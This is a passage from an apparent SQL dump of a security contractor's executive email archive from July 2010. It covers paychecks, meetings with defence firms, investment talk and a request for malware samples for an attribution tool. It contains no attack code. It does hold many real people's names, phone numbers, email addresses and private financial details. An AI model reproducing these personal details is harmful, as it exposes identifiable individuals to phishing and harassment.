and\r\ninclude email protection and remote management. GFI currently has approximately\r\n168,000 paying customers, with an install base that is about 10 times that\r\nsize. \r\n\r\nCompetitive landscape\r\n\r\nGFI \'s fast-growing security business and increasing focus\r\non managed and hosted security services puts it into competition with a wide\r\nrange of players. In the company\'s core SMB space, McAfee (NYSE: MFE),\r\nSymantec (Nasdaq: SYMC) and Trend Micro compete, as do\r\nKaspersky Lab and Sophos. Microsoft (Nasdaq:\r\nMSFT) vies with its Forefront products, as does Webroot Software,\r\nwhich recently\r\nacquired Web reputation firm BrightCloud. Other contenders include BitDefender,\r\nAVG Technologies, Avira, Norman ASA (OSL:\r\nNORMAN.OL), Panda Security, AVAST Software and Finnish firm F-Secure\r\n(FRA:\r\nDTV.F). In the vulnerability management segment, GFI\'s GFI LANguard\r\ncompetes with Tenable Network Security\'s Nessus as well as offerings\r\nfrom nCircle, Qualys, Rapid7, McAfee, Shavlik\r\nTechnologies, eEye, Microsoft and others. In managed IT services,\r\nGFI\'s HoundDog encounters Kaseya, KACE Networks (now part of Dell\r\n(Nasdaq:\r\nDELL)), Service-now.com, Vector Networks and others. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject of\r\nlegal privilege intended only for use by the intended recipient. If you are not\r\nthe intended recipient or the person responsible for&nbsp;&nbsp; delivering the\r\nmessage to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16636,'aaron_hbgary_com/16636.html'),(8702,'2010-07-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006681.M520092P14101Q3557.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pay','I spoke with Bob earlier and he is sending the check out today.  I just spoke with Penny and she said she&#39;s doing the 2nd deposit later today or tomorrow.  So you&#39;ll definitely be able to cash both checks next week.  Cash the $2000 one first, and once the deposits hit I&#39;ll let you know when you can cash the 2nd one.\r\nTed\r\n\r\n',1651,'aaron_hbgary_com/1651.html'),(8703,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006681.M770423P14101Q3558.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Pay','Tks.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 7:50 PM, Ted Vera  wrote:\r\n\r\n> I spoke with Bob earlier and he is sending the check out today.  I just spoke with Penny and she said she\'s doing the 2nd deposit later today or tomorrow.  So you\'ll definitely be able to cash both checks next week.  Cash the $2000 one first, and once the deposits hit I\'ll let you know when you can cash the 2nd one.\r\n> \r\n> Ted\r\n',6915,'aaron_hbgary_com/6915.html'),(8704,'2010-07-17','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297006682.M306823P14101Q3560.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','y0h','  Who are your wow toons and where do they live?\r\n',8147,'aaron_hbgary_com/8147.html'),(8705,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006682.M517625P14101Q3561.eml','\"Charles Copeland\" <charles@hbgary.com>','Re: y0h','Hey mine is sevrynsten\r\nOn velen.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 9:05 PM, Charles Copeland  wrote:\r\n\r\n>   Who are your wow toons and where do they live?\r\n> \r\n',7927,'aaron_hbgary_com/7927.html'),(8706,'2010-07-17','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','/aaron@hbgary.com/new/1297006682.M63930P14101Q3559.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Lost the ball','Tues Morn before 11 works.\r\nGib\r\n\r\nJB Godwin III\r\nNorthrop Grumman, Information Systems\r\nDefense Systems Division\r\nVice President, Cybersecurity and Systems Integration\r\n2340 Dulles Corner Blvd\r\nHerndon, VA 20171\r\n \r\n(o) 703.561.4610\r\n(m)703.201.2543\r\njames.godwin@ngc.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Shows, Bob (IS) \r\nSent: Friday, July 16, 2010 5:53 PM\r\nTo: Aaron Barr; Godwin, Gib (IS)\r\nSubject: RE: EXTERNAL:Lost the ball\r\n\r\nGib, \r\n\r\nWe were waiting for you to get back in town to set a time to discuss the capabilities of Aaron\'s company.  I\'m on vacation next week--the following week, I\'ll be in Herndon, but could make time for a late day meeting/concall on Mon-Wed.  \r\n\r\nYour availability?\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 4:31 PM\r\nTo: Shows, Bob (IS)\r\nSubject: EXTERNAL:Lost the ball\r\n\r\nWhen are we meeting?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',13309,'aaron_hbgary_com/13309.html'),(8707,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006683.M15871P14101Q3562.eml','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>,\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','Re: EXTERNAL:Lost the ball','How about 830?  Where would you like to meet?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 8:07 PM, \"Godwin, Gib (IS)\"  wrote:\r\n\r\n> Tues Morn before 11 works.\r\n> Gib\r\n> \r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>  \r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Shows, Bob (IS) \r\n> Sent: Friday, July 16, 2010 5:53 PM\r\n> To: Aaron Barr; Godwin, Gib (IS)\r\n> Subject: RE: EXTERNAL:Lost the ball\r\n> \r\n> Gib, \r\n> \r\n> We were waiting for you to get back in town to set a time to discuss the capabilities of Aaron\'s company.  I\'m on vacation next week--the following week, I\'ll be in Herndon, but could make time for a late day meeting/concall on Mon-Wed.  \r\n> \r\n> Your availability?\r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 4:31 PM\r\n> To: Shows, Bob (IS)\r\n> Subject: EXTERNAL:Lost the ball\r\n> \r\n> When are we meeting?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n',1945,'aaron_hbgary_com/1945.html'),(8708,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006684.M233608P14101Q3563.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','Attribution','All,\r\n\r\nI am sending this request to a small group of individuals.  Please do not forward this email to third parties.  HBGary is working hard to solve the attribution problem.  We have developed a fingerprint tool which extracts toolmarks left behind in malware executables.  We use these toolmarks to cluster exploits together which were compiled on the same computer system or development environment.  Notice the clusters in the graphic below.  These groupings illustrate the relationships between over 3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool.  Eventually you can imagine combining this data with open source and intelligence data.  I can see attribution as potentially a solvable problem.  We need your malware samples, as many as you can provide.  This is not something we are looking to profit from directly, we will be giving this tool away at Blackhat, so helping us improve the tool will help the community beat back the threat.  If possible please have your representative CISOs or cybersecurity personnel send malware samples in a password protected zip file.  Provide the password via phone 719-510-8478 or fax to:  720-836-4208 we need your samples as soon as possible.  Samples provided will not be shared with third parties and your participation will be held in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of our findings and you will have made a significant contribution to securing America\'s networks. \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal LLC.\r\n\r\n',3969,'aaron_hbgary_com/3969.html'),(8709,'2010-07-17','\"Scott Miller (FEDERAL)\" <scottmil@microsoft.com>','/aaron@hbgary.com/new/1297006684.M547892P14101Q3564.eml','\"Aaron Barr\" <aaron@hbgary.com>','Automatic reply: Attribution','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will be out of the office on vacation Friday, July 16th with limited access to email or phone.\r\n\r\nIf this is urgent, please contact Francesca Rhyne at\r\nfrhyne@microsoft.com or at 703-673-7717.\r\n\r\nFor all other business matters, please contact the following managers:\r\n\r\nIntel Business: Aaron Bishop:&nbsp; aaronbi@microsoft.com\r\n\r\nMilitary Intel: Michael Musick: \r\nmmusick@microsoft.com\r\n\r\nDHS Business: Mark Whittington:&nbsp; \r\nmarkwhit@microsoft.com\r\nThanks,\r\n&nbsp;\r\nScott\r\n&nbsp;\r\n\r\n\r\n\r\n',4506,'aaron_hbgary_com/4506.html'),(8710,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006685.M522244P14101Q3566.eml','\"Aaron Barr\" <aaron@hbgary.com>','Attribution','I am sending this request to a small group of individuals.  Please do not forward this email to third parties.  HBGary is working hard to help solve the attribution problem.  We have developed a fingerprint tool which extracts toolmarks left behind in malware executables.  We use these toolmarks to cluster exploits together which were compiled on the same computer system or development environment.  Notice the clusters in the graphic below. These groupings illustrate the relationships between over 3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool.  Eventually you can imagine combining this data with open source and intelligence data.  I can see attribution as potentially a solvable problem.  We need your malware samples, as many as you can provide.  This is not something we are looking to profit from directly, we will be giving this tool away at Blackhat, so helping us improve the tool will help the community beat back the threat.  If possible please have your representative CISOs or cybersecurity personnel send malware samples in a password protected zip file.  Provide the password via phone 719-510-8478 or fax to:  720-836-4208 we need your samples as soon as possible.  Samples provided will not be shared with third parties and your participation will be held in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of our findings and you will have made a significant contribution to securing America\'s networks. \r\n\r\n\r\n',2382,'aaron_hbgary_com/2382.html'),(8711,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006685.M783566P14101Q3567.eml','\"Ted Vera\" <ted@hbgary.com>','Ok I have blasted the DIB','Arnav Manchanda , Nart Villeneuve , Rafal Rohozinski , Matthew Steckman , Geoff Stowe , Eric Eifert , Al Pisani , Steve Winterfeld , Irving Lachow , Brian Masterson , Jerry M Bodman , Tom Conroy , Brian Girardi , Vern Boyle , William Freeman , Jeff Yu , Bill (Contr) (IS) Studeman , rich.haver@ngc.com, Mark Leary , Timothy W. Estell , brian.hibblen@osd.mil, Bob Shows , Ben Wilson , Mike Bradshaw , Scott K. Brown , Christopher Starr , Chris Rouland , David CTR OSD CIO Merritt , Ralph D. Ghent , lincoln.leibner@us.army.mil, Robert P Frisbie , Robert Frizzelle , James M Racz , Stephen W CPT MIL USA USINSCOM Turner , Michael K (IS) Tillman \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11670,'aaron_hbgary_com/11670.html'),(8712,'2010-07-17','postmaster@local-mailhost.sra.com','/aaron@hbgary.com/new/1297006685.M93322P14101Q3565.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','This is an automatically generated Delivery Status Notification.\r\n\r\nDelivery to the following recipients failed.\r\n\r\n       pat.burke@sra.com\r\n\r\n\r\n\r\n',5972,'aaron_hbgary_com/5972.html'),(8713,'2010-07-17','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','/aaron@hbgary.com/new/1297006686.M225606P14101Q3569.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Lunch?  Beer?','Tks, Aaron. I\'ll wait to hear from you. Have a great weekend. \r\n\r\nJeff\r\nVP, Director Washington Operations\r\n\r\nPhaseOne Communications\r\n\r\nemail:  jeffcastelli@phaseone.net\r\n\r\nOffice:  571-830-6816\r\n\r\n                571-830-6817\r\n\r\nFax:        571-830-6819\r\n\r\nCell:       310 612 6413\r\n\r\n \r\n\r\nThis email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Jeff Castelli\r\nSent: Fri Jul 16 19:29:21 2010\nSubject: Re: Lunch?  Beer?\r\n\r\nHi Jeff.  Likewise it was good meeting you.  I had fun last night.\r\n\r\nSure lets get together next week.  I am leaving on vacation on Thursday.  Let me take a look and send you a few different times and see how the work.\r\n\r\nAaron\r\n\r\nOn Jul 16, 2010, at 12:04 PM, Jeff Castelli wrote:\r\n\r\n> Aaron, I really enjoyed meeting you last night.  It was a very entertaining evening.  As I mentioned, there is something I’d like to discuss with you that may be a potential area of collaboration.  Would love to sit down and discuss further.  I was supposed to be in LA next week but that got pushed back a week so I should be around.  Wednesday is probably not a good day but otherwise I can adapt.  Take care and I look forward to seeing you.\r\n>  \r\n> Jeff\r\n>  \r\n>  \r\n> VP, Director Washington Operations\r\n> PhaseOne Communications\r\n>  \r\n> email:  jeffcastelli@phaseone.net\r\n> Office:     571-830-6816\r\n> Fax:        571-830-6819\r\n> Cell:       310 612 6413\r\n>  \r\n> This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6618,'aaron_hbgary_com/6618.html'),(8714,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006686.M2631P14101Q3568.eml','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','Re: Lunch?  Beer?','Hi Jeff. &nbsp;Likewise it was good meeting you. &nbsp;I had fun last night.Sure lets get together next week. &nbsp;I am leaving on vacation on Thursday. &nbsp;Let me take a look and send you a few different times and see how the work.AaronOn Jul 16, 2010, at 12:04 PM, Jeff Castelli wrote:Aaron, I really enjoyed meeting you last night.&nbsp; It was a very entertaining evening.&nbsp; As I mentioned, there is something I’d like to discuss with you that may be a potential area of collaboration.&nbsp; Would love to sit down and discuss further.&nbsp; I was supposed to be in LA next week but that got pushed back a week so I should be around.&nbsp; Wednesday is probably not a good day but otherwise I can adapt.&nbsp; Take care and I look forward to seeing you.&nbsp;Jeff&nbsp;&nbsp;VP, Director Washington OperationsPhaseOne Communications&nbsp;email:&nbsp;&nbsp;jeffcastelli@phaseone.netOffice:&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6816Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6819Cell:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413&nbsp;This email is confidential and intended solely for the use of the individual or organization to whom it is addressed. &nbsp;If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it. &nbsp;If you have received this email in error, please notify the sender and delete this email from your system. &nbsp;Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6134,'aaron_hbgary_com/6134.html'),(8715,'2010-07-17','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297006686.M438257P14101Q3570.eml','aaron@hbgary.com','Re: EXTERNAL:Attribution','\r\n\r\n\r\n\r\n\r\nRe: EXTERNAL:Attribution\r\n\r\n\r\n\r\n\r\nTold Ted - TASC still on NGGN\r\n\r\nGuy I emailed you about your code stash has NGC mal code\r\n\r\n-----------------------\r\nSent via Blackberry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSent: Fri Jul 16 21:27:11 2010\r\nSubject: EXTERNAL:Attribution\r\n\r\nI am sending this request to a small group of individuals.&nbsp; Please do not forward this email to third parties.&nbsp; HBGary is working hard to help solve the attribution problem.&nbsp; We have developed a fingerprint tool which extracts toolmarks left behind in malware executables.&nbsp; We use these toolmarks to cluster exploits together which were compiled on the same computer system or development environment.&nbsp; Notice the clusters in the graphic below. These groupings illustrate the relationships between over 3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool.&nbsp; Eventually you can imagine combining this data with open source and intelligence data.&nbsp; I can see attribution as potentially a solvable problem.&nbsp; We need your malware samples, as many as you can provide.&nbsp; This is not something we are looking to profit from directly, we will be giving this tool away at Blackhat, so helping us improve the tool will help the community beat back the threat.&nbsp; If possible please have your representative CISOs or cybersecurity personnel send malware samples in a password protected zip file.&nbsp; Provide the password via phone 719-510-8478 or fax to:&nbsp; 720-836-4208 we need your samples as soon as possible.&nbsp; Samples provided will not be shared with third parties and your participation will be held in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of our findings and you will have made a significant contribution to securing America\'s networks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11084,'aaron_hbgary_com/11084.html'),(8716,'2010-07-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006686.M645432P14101Q3571.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Future','Can we explore outside investment?  That is, Mantech or Blackbird to name two?\r\n \r\n-Greg\r\nOn Fri, Jul 16, 2010 at 1:43 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nOK, sounds good\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Friday, July 16, 2010 12:17 PMTo: Penny Leavy-Hoglund\r\n\r\n\r\nCc: Greg Hoglund; Ted VeraSubject: Re: FutureYep but your the majority stake holder so I wanted to get your thoughtsfirst.  A call next week would be good.  I&#39;ll look to set something up\r\nbeginning of the week and see how it falls out.AaronSent from my iPhoneOn Jul 16, 2010, at 3:06 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n&gt; First, you have a board you need to work with so this isnt&#39; just a callwith&gt; me, it is with all investors.  We can set up a time next week&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, July 16, 2010 11:03 AM&gt; To: Penny Leavy; Greg Hoglund&gt; Cc: Ted Vera&gt; Subject: Future&gt;&gt; Penny,&gt;&gt; Do you have time to talk about possible investment around HBGary Federal\r\n&gt; today?  I am feeling pretty good about what we have lined up for the fall&gt; but we are going to have some gaps between now and then that I don&#39;t know&gt; how we make it through.  If I had the money I would pour it in, and I know\r\n&gt; Ted would as well, but we just don&#39;t.  I have put in as much as I can butam&gt; not personally strapped for cash to the point that if I miss another checkI&gt; will be missing bills.&gt;&gt; On the positive side, our old work RFP is going to drop in August.  I am\r\n&gt; extremely confident about this work.  I met with my buddy who runs thisfor&gt; the government and he really wants us back in there.  We have put together&gt; an unbelievable team.&gt;&gt; NG Xetron called me yesterday, they are having staffing problems for some\r\nof&gt; their classified IO work, I am hoping we can staff some of those positions&gt; soon.&gt;&gt; Mantech has had me sign 3 NDAs and said that we have capabilities that can&gt; support existing work, we are also going after Gatorbait as a sub to them\r\n&gt; (they are the incumbent).  If they win the FBI ESOC work they want to talk&gt; about how we can help them out.&gt;&gt;&gt; The Chief architect of CDC is friends with Ted and is going to have Ted do\r\n&gt; demos to his staff and then afterwards they are going to the beachtogether.&gt; (wink wink nudge nudge know what I mean).&gt;&gt; I am not participating in some very senior small groups in cyber and\r\ngetting&gt; senior level government access.  While this doesn&#39;t directly translate to&gt; work.  In my process of discussion of cyber problems I mention HBGary and&gt; HBGary Fed capabilities regularly.  That can not be bad thing.  Example\r\nout&gt; of the 4 hour meeting yesterday I probably had the mic for about 90minutes&gt; and managed to mention all of our capabilities within the context ofsolving&gt; tough problems.&gt; CMDR IO for EUCOM top 3 problems: Attribution and Threat Intelligence,\r\n&gt; Social Media, and Influence of local populations. (REALLY!!!!)&gt;&gt; So we are on a very strong path for a startup company we just need alittle&gt; gap coverage and someone like Mantech might be able to help with that, it\r\n&gt; won&#39; t take much.&gt;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&gt;\r\n',13424,'aaron_hbgary_com/13424.html'),(8717,'2010-07-17','\"Rafal Rohozinski\" <r.rohozinski@secdev.ca>','/aaron@hbgary.com/new/1297006686.M878288P14101Q3572.eml','\"Aaron Barr\" <aaron@hbgary.com>','Introductions and follow-up','Hi Aaron,\r\n\r\nSorry not to have gotten back to you sooner. Eric  -   the director of intelligence at NEK his only back next week from vacation, so I\'ve held off  a formal letter of introduction, but I will do so over the weekend.\r\n\r\nIt\'s been a bit hellish on this end -  I have a US government compliance audit coming up on Monday and  which means all hands on deck to make sure that we are ready. As a Canadian company, we are under special scrutiny.\r\n\r\nRafal\r\n\r\n',10419,'aaron_hbgary_com/10419.html'),(8718,'2010-07-17','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297006687.M284394P14101Q3574.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Attribution','If you can really solve the attribution problem you will be a hero!\r\n\r\nI\'ll be at Black Hat and Defcon...it will be interesting to see the\r\nreaction - lots of skeptics I\'m sure.\r\n\r\nI will talk with Larry about our meeting with Penny this week.\r\n\r\nThanks for setting up the meeting.\r\n\r\nBill \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 9:45 PM\r\nTo: Varner, Bill\r\nCc: alexander.miller@l-3com.com; barbara.g.fast@boeing.com;\r\nbill.phelps@accenture.com; bmalexia@rockwellcollins.com;\r\nccpalmer@us.ibm.com; coxld@saic.com; david_joslin@federal.dell.com;\r\ndusty.wince@knowledgecg.com; ed.gibson@us.pwc.com; gjg@mitre.org;\r\njkoenig@harris.com; john.osterholz@baesystems.com; jpayne@telcordia.com;\r\njreagan@deloitte.com; jwatters@isightpartners.com; kathy.warden@ngc.com;\r\nkenneth.sannicolas@stanleyassociates.com;\r\nlance.cottrell@abraxascorp.com; michael.fraser@usis.com;\r\nnadia.short@gd-ais.com; pat.burke@sra.com; rdix@juniper.net;\r\nrodney.joffe@neustar.biz; roger_anderson@appsig.com; samuel.chun@hp.com;\r\nscottmil@microsoft.com; shawn.carroll@qwest.com;\r\nskip.foote@americansystems.com; steve_k_hawkins@raytheon.com;\r\nsvisner@csc.com; tiffany_jones@symantec.com; wcooper@cisco.com;\r\nzazmi@caci.com; Jim Garrettson; jd@executivebiz.com; Jennifer Jordan -\r\nHarrell\r\nSubject: Attribution\r\n\r\nAll,\r\n\r\nI am sending this request to a small group of individuals.  Please do\r\nnot forward this email to third parties.  HBGary is working hard to\r\nsolve the attribution problem.  We have developed a fingerprint tool\r\nwhich extracts toolmarks left behind in malware executables.  We use\r\nthese toolmarks to cluster exploits together which were compiled on the\r\nsame computer system or development environment.  Notice the clusters in\r\nthe graphic below.  These groupings illustrate the relationships between\r\nover 3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool.  Eventually\r\nyou can imagine combining this data with open source and intelligence\r\ndata.  I can see attribution as potentially a solvable problem.  We need\r\nyour malware samples, as many as you can provide.  This is not something\r\nwe are looking to profit from directly, we will be giving this tool away\r\nat Blackhat, so helping us improve the tool will help the community beat\r\nback the threat.  If possible please have your representative CISOs or\r\ncybersecurity personnel send malware samples in a password protected zip\r\nfile.  Provide the password via phone 719-510-8478 or fax to:\r\n720-836-4208 we need your samples as soon as possible.  Samples provided\r\nwill not be shared with third parties and your participation will be\r\nheld in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of\r\nour findings and you will have made a significant contribution to\r\nsecuring America\'s networks. \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal LLC.\r\n\r\n',1484,'aaron_hbgary_com/1484.html'),(8719,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006687.M499084P14101Q3575.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>','Re: Attribution','I think we have made a big step forward but this needs to be combined with open source and intel data to really make the big strides.\r\n\r\nThere will be lots of skeptics, that\'s good, maybe there is something we didn\'t get right or could have done better.  But I think we are on to something.  Interested as well to see the reaction.\r\n\r\nWe will have a booth at blackhat so please stop by and we can introduce you to Greg.\r\n\r\nOne other thought.  I am not sure what types of companies you invest in (service vs product) but there are a few technologies I would like to develop and will over time but would like do it faster if I could.  That would require more funds than we have.  Just a thought.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 17, 2010, at 8:29 AM, \"Varner, Bill\"  wrote:\r\n\r\n> If you can really solve the attribution problem you will be a hero!\r\n> \r\n> I\'ll be at Black Hat and Defcon...it will be interesting to see the\r\n> reaction - lots of skeptics I\'m sure.\r\n> \r\n> I will talk with Larry about our meeting with Penny this week.\r\n> \r\n> Thanks for setting up the meeting.\r\n> \r\n> Bill \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 9:45 PM\r\n> To: Varner, Bill\r\n> Cc: alexander.miller@l-3com.com; barbara.g.fast@boeing.com;\r\n> bill.phelps@accenture.com; bmalexia@rockwellcollins.com;\r\n> ccpalmer@us.ibm.com; coxld@saic.com; david_joslin@federal.dell.com;\r\n> dusty.wince@knowledgecg.com; ed.gibson@us.pwc.com; gjg@mitre.org;\r\n> jkoenig@harris.com; john.osterholz@baesystems.com; jpayne@telcordia.com;\r\n> jreagan@deloitte.com; jwatters@isightpartners.com; kathy.warden@ngc.com;\r\n> kenneth.sannicolas@stanleyassociates.com;\r\n> lance.cottrell@abraxascorp.com; michael.fraser@usis.com;\r\n> nadia.short@gd-ais.com; pat.burke@sra.com; rdix@juniper.net;\r\n> rodney.joffe@neustar.biz; roger_anderson@appsig.com; samuel.chun@hp.com;\r\n> scottmil@microsoft.com; shawn.carroll@qwest.com;\r\n> skip.foote@americansystems.com; steve_k_hawkins@raytheon.com;\r\n> svisner@csc.com; tiffany_jones@symantec.com; wcooper@cisco.com;\r\n> zazmi@caci.com; Jim Garrettson; jd@executivebiz.com; Jennifer Jordan -\r\n> Harrell\r\n> Subject: Attribution\r\n> \r\n> All,\r\n> \r\n> I am sending this request to a small group of individuals.  Please do\r\n> not forward this email to third parties.  HBGary is working hard to\r\n> solve the attribution problem.  We have developed a fingerprint tool\r\n> which extracts toolmarks left behind in malware executables.  We use\r\n> these toolmarks to cluster exploits together which were compiled on the\r\n> same computer system or development environment.  Notice the clusters in\r\n> the graphic below.  These groupings illustrate the relationships between\r\n> over 3000 malware samples.\r\n> \r\n> We need your help to further validate and improve the tool.  Eventually\r\n> you can imagine combining this data with open source and intelligence\r\n> data.  I can see attribution as potentially a solvable problem.  We need\r\n> your malware samples, as many as you can provide.  This is not something\r\n> we are looking to profit from directly, we will be giving this tool away\r\n> at Blackhat, so helping us improve the tool will help the community beat\r\n> back the threat.  If possible please have your representative CISOs or\r\n> cybersecurity personnel send malware samples in a password protected zip\r\n> file.  Provide the password via phone 719-510-8478 or fax to:\r\n> 720-836-4208 we need your samples as soon as possible.  Samples provided\r\n> will not be shared with third parties and your participation will be\r\n> held in strict confidence.\r\n> \r\n> In exchange for your help, I will provide you with a summary report of\r\n> our findings and you will have made a significant contribution to\r\n> securing America\'s networks. \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal LLC.\r\n> \r\n',10634,'aaron_hbgary_com/10634.html'),(8720,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006687.M706542P14101Q3576.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>','Re: Attribution','Bill,\r\n\r\nAnd to be clear only a strong identity and attestation built into the comms framework will universally solve attribution but the capability we are building we think can help significantly help attribute large amounts of malware.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 17, 2010, at 8:29 AM, \"Varner, Bill\"  wrote:\r\n\r\n> If you can really solve the attribution problem you will be a hero!\r\n> \r\n> I\'ll be at Black Hat and Defcon...it will be interesting to see the\r\n> reaction - lots of skeptics I\'m sure.\r\n> \r\n> I will talk with Larry about our meeting with Penny this week.\r\n> \r\n> Thanks for setting up the meeting.\r\n> \r\n> Bill \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 9:45 PM\r\n> To: Varner, Bill\r\n> Cc: alexander.miller@l-3com.com; barbara.g.fast@boeing.com;\r\n> 